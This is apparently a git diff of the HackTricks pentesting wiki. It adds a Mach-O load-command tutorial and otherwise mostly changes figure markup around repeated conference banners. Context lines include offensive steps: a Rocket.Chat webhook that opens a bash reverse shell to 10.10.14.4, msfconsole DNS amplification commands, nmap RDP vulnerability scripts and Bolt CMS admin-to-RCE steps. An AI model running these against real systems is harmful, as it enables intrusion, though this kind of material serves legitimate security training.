+ +## **Mach-O Load commands** + +This specifies the **layout of the file in memory**. It contains the **location of the symbol table**, the main thread context at the beginning of execution, and which **shared libraries** are required.\ +The commands basically instruct the dynamic loader **(dyld) how to load the binary in memory.** + +Load commands all begin with a **load\_command** structure, defined in the previously mentioned **`loader.h`**: + +```objectivec +struct load_command { + uint32_t cmd; /* type of load command */ + uint32_t cmdsize; /* total size of command in bytes */ +}; +``` + +There are about **50 different types of load commands** that the system handles differently. The most common ones are: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, and `LC_CODE_SIGNATURE`. + +### **LC\_SEGMENT/LC\_SEGMENT\_64** + +{% hint style="success" %} +Basically, this type of Load Command define **how to load the sections** that are stored in DATA when the binary is executed. +{% endhint %} + +These commands **define segments** that are **mapped** into the **virtual memory space** of a process when it is executed. + +There are **different types** of segments, such as the **\_\_TEXT** segment, which holds the executable code of a program, and the **\_\_DATA** segment, which contains data used by the process. These **segments are located in the data section** of the Mach-O file. + +**Each segment** can be further **divided** into multiple **sections**. The **load command structure** contains **information** about **these sections** within the respective segment. + +In the header first you find the **segment header**: + +
struct segment_command_64 { /* for 64-bit architectures */
+	uint32_t	cmd;		/* LC_SEGMENT_64 */
+	uint32_t	cmdsize;	/* includes sizeof section_64 structs */
+	char		segname[16];	/* segment name */
+	uint64_t	vmaddr;		/* memory address of this segment */
+	uint64_t	vmsize;		/* memory size of this segment */
+	uint64_t	fileoff;	/* file offset of this segment */
+	uint64_t	filesize;	/* amount to map from the file */
+	int32_t		maxprot;	/* maximum VM protection */
+	int32_t		initprot;	/* initial VM protection */
+	uint32_t	nsects;		/* number of sections in segment */
+	uint32_t	flags;		/* flags */
+};
+
+ +Example of segment header: + +
+ +This header defines the **number of sections whose headers appear after** it: + +```c +struct section_64 { /* for 64-bit architectures */ + char sectname[16]; /* name of this section */ + char segname[16]; /* segment this section goes in */ + uint64_t addr; /* memory address of this section */ + uint64_t size; /* size in bytes of this section */ + uint32_t offset; /* file offset of this section */ + uint32_t align; /* section alignment (power of 2) */ + uint32_t reloff; /* file offset of relocation entries */ + uint32_t nreloc; /* number of relocation entries */ + uint32_t flags; /* flags (section type and attributes)*/ + uint32_t reserved1; /* reserved (for offset or index) */ + uint32_t reserved2; /* reserved (for count or sizeof) */ + uint32_t reserved3; /* reserved */ +}; +``` + +Example of **section header**: + +
+ +If you **add** the **section offset** (0x37DC) + the **offset** where the **arch starts**, in this case `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` + +
+ +It's also possible to get **headers information** from the **command line** with: + +```bash +otool -lv /bin/ls +``` + +Common segments loaded by this cmd: + +* **`__PAGEZERO`:** It instructs the kernel to **map** the **address zero** so it **cannot be read from, written to, or executed**. The maxprot and minprot variables in the structure are set to zero to indicate there are **no read-write-execute rights on this page**. + * This allocation is important to **mitigate NULL pointer dereference vulnerabilities**. +* **`__TEXT`**: Contains **executable** **code** and **data** that is **read-only.** Common sections of this segment: + * `__text`: Compiled binary code + * `__const`: Constant data + * `__cstring`: String constants + * `__stubs` and `__stubs_helper`: Involved during the dynamic library loading process +* **`__DATA`**: Contains data that is **writable.** + * `__data`: Global variables (that have been initialized) + * `__bss`: Static variables (that have not been initialized) + * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Information used by the Objective-C runtime +* **`__LINKEDIT`**: Contains information for the linker (dyld) such as, "symbol, string, and relocation table entries." +* **`__OBJC`**: Contains information used by the Objective-C runtime. Though this information might also be found in the \_\_DATA segment, within various in \_\_objc\_\* sections. + +### **`LC_MAIN`** + +Contains the entrypoint in the **entryoff attribute.** At load time, **dyld** simply **adds** this value to the (in-memory) **base of the binary**, then **jumps** to this instruction to start execution of the binary’s code. + +### **LC\_CODE\_SIGNATURE** + +Contains information about the **code signature of the Macho-O file**. It only contains an **offset** that **points** to the **signature blob**. This is typically at the very end of the file. + +### **LC\_LOAD\_DYLINKER** + +Contains the **path to the dynamic linker executable** that maps shared libraries into the process address space. The **value is always set to `/usr/lib/dyld`**. It’s important to note that in macOS, dylib mapping happens in **user mode**, not in kernel mode. + +### **`LC_LOAD_DYLIB`** + +This load command describes a **dynamic** **library** dependency which **instructs** the **loader** (dyld) to **load and link said library**. There is a LC\_LOAD\_DYLIB load command **for each library** that the Mach-O binary requires. + +* This load command is a structure of type **`dylib_command`** (which contains a struct dylib, describing the actual dependent dynamic library): + +```objectivec +struct dylib_command { + uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ + uint32_t cmdsize; /* includes pathname string */ + struct dylib dylib; /* the library identification */ +}; + +struct dylib { + union lc_str name; /* library's path name */ + uint32_t timestamp; /* library's build time stamp */ + uint32_t current_version; /* library's current version number */ + uint32_t compatibility_version; /* library's compatibility vers number*/ +}; +``` + +![](<../../../.gitbook/assets/image (558).png>) + +You could also get this info from the cli with: + +```bash +otool -L /bin/ls +/bin/ls: + /usr/lib/libutil.dylib (compatibility version 1.0.0, current version 1.0.0) + /usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0) + /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0) +``` + +Some potential malware related libraries are: + +* **DiskArbitration**: Monitoring USB drives +* **AVFoundation:** Capture audio and video +* **CoreWLAN**: Wifi scans. + +{% hint style="info" %} +A Mach-O binary can contain one or **more** **constructors**, that will be **executed** **before** the address specified in **LC\_MAIN**.\ +The offsets of any constructors are held in the **\_\_mod\_init\_func** section of the **\_\_DATA\_CONST** segment. +{% endhint %} + +## **Mach-O Data** + +The heart of the file is the final region, the data, which consists of a number of segments as laid out in the load-commands region. **Each segment can contain a number of data sections**. Each of these sections **contains code or data** of one particular type. + +{% hint style="success" %} +The data is basically the part containing all the information loaded by the load commands LC\_SEGMENTS\_64 +{% endhint %} + +![](<../../../.gitbook/assets/image (507) (3).png>) + +This includes: + +* **Function table:** Which holds information about the program functions. +* **Symbol table**: Which contains information about the external function used by the binary +* It could also contain internal function, variable names as well and more. + +To check it you could use the [**Mach-O View**](https://sourceforge.net/projects/machoview/) tool: + +
+ +Or from the cli: + +```bash +size -m /bin/ls +``` + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md index ee116f3e..4094e47f 100644 --- a/network-services-pentesting/pentesting-dns.md +++ b/network-services-pentesting/pentesting-dns.md @@ -12,7 +12,7 @@
-
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -193,7 +193,7 @@ dig google.com A @ ![](<../.gitbook/assets/image (276).png>) -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -310,7 +310,7 @@ Entry_6: Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/network-services-pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md index d79c1b8a..490e1284 100644 --- a/network-services-pentesting/pentesting-rdp.md +++ b/network-services-pentesting/pentesting-rdp.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -74,7 +74,7 @@ rdp_check /:@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -161,7 +161,7 @@ Entry_2: Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/network-services-pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md index 9fb59fc1..0056bba3 100644 --- a/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/network-services-pentesting/pentesting-remote-gdbserver.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -198,7 +198,7 @@ RemoteCmd() ``` {% endcode %} -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/network-services-pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md index 633fb60e..799222a6 100644 --- a/network-services-pentesting/pentesting-smtp/README.md +++ b/network-services-pentesting/pentesting-smtp/README.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -192,7 +192,7 @@ Nmap: nmap --script smtp-enum-users -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -616,7 +616,7 @@ Entry_8: ``` -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md index 7730cbda..17c30aa4 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -60,7 +60,7 @@ It’s a client’s request for some information that can be useful for the a su **QUIT**\ It terminates the SMTP conversation. -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md index 03d1119d..3c710c5a 100644 --- a/network-services-pentesting/pentesting-telnet.md +++ b/network-services-pentesting/pentesting-telnet.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -92,7 +92,7 @@ Entry_4: ``` -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index c53594f2..ce125a70 100644 --- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -125,7 +125,7 @@ guest guest * [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) * [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/network-services-pentesting/pentesting-web/bolt-cms.md b/network-services-pentesting/pentesting-web/bolt-cms.md index e7eaa6c0..e76bce74 100644 --- a/network-services-pentesting/pentesting-web/bolt-cms.md +++ b/network-services-pentesting/pentesting-web/bolt-cms.md @@ -19,7 +19,7 @@ After login as admin (go to /bot lo access the login prompt), you can get RCE in * Select `Configuration` -> `View Configuration` -> `Main Configuration` or go the the URL path `/bolt/file-edit/config?file=/bolt/config.yaml` * Check the value of theme -
+
* Select `File management` -> `View & edit templates` * Select the theme base found in the previous (`base-2021` in this case) step and select `index.twig` diff --git a/network-services-pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md index 004ea1eb..39390acf 100644 --- a/network-services-pentesting/pentesting-web/nginx.md +++ b/network-services-pentesting/pentesting-web/nginx.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -285,7 +285,7 @@ Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulne * [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) * [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115) -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/network-services-pentesting/pentesting-web/rocket-chat.md b/network-services-pentesting/pentesting-web/rocket-chat.md index 593d7a39..05be8ac3 100644 --- a/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/network-services-pentesting/pentesting-web/rocket-chat.md @@ -19,7 +19,7 @@ If you are admin inside Rocket Chat you can get RCE. * Got to **`Integrations`** and select **`New Integration`** and choose any: **`Incoming WebHook`** or **`Outgoing WebHook`**. * `/admin/integrations/incoming` -
+
* According to the [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), both use ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) to process the data. So lets get a [rev shell for javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) like: @@ -35,12 +35,12 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") * Configure WebHook script: -
+
* Save changes * Get the generated WebHook URL: -
+
* Call it with curl and you shuold receive the rev shell diff --git a/network-services-pentesting/pentesting-web/spring-actuators.md b/network-services-pentesting/pentesting-web/spring-actuators.md index ebfe6499..b4e9744c 100644 --- a/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/network-services-pentesting/pentesting-web/spring-actuators.md @@ -7,16 +7,16 @@ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). ## **Spring Auth Bypass** -
+
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)**** +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* ## Exploiting Spring Boot Actuators @@ -240,7 +240,7 @@ See this page to find how to exploit the /env + H2 combination: [https://spacera * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/network-services-pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md index 6ff316e9..3d2fa08f 100644 --- a/network-services-pentesting/pentesting-web/werkzeug.md +++ b/network-services-pentesting/pentesting-web/werkzeug.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -189,7 +189,7 @@ If you are on an **old version** of Werkzeug, try changing the **hashing algorit * [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) * [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el **7 y 8 de septiembre de 2023** en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/pentesting-web/email-injections.md b/pentesting-web/email-injections.md index 5d7db093..8a467c58 100644 --- a/pentesting-web/email-injections.md +++ b/pentesting-web/email-injections.md @@ -15,7 +15,7 @@ Get Access Today: * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). @@ -110,7 +110,7 @@ The symbols: **+, -** and **{}** in rare occasions can be used for tagging and i ### Quotes -
+
### IPs @@ -160,7 +160,7 @@ So, if you are able to **send mails (maybe invitations) from the web application * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index fc7f12b7..2283a4e9 100644 --- a/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -7,7 +7,7 @@ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). @@ -100,7 +100,7 @@ Then, the attacker could use those **100 connections** to perform a **search bru Yes, it's possible to generate 100000 temporary files in an EC2 medium size instance: -
+
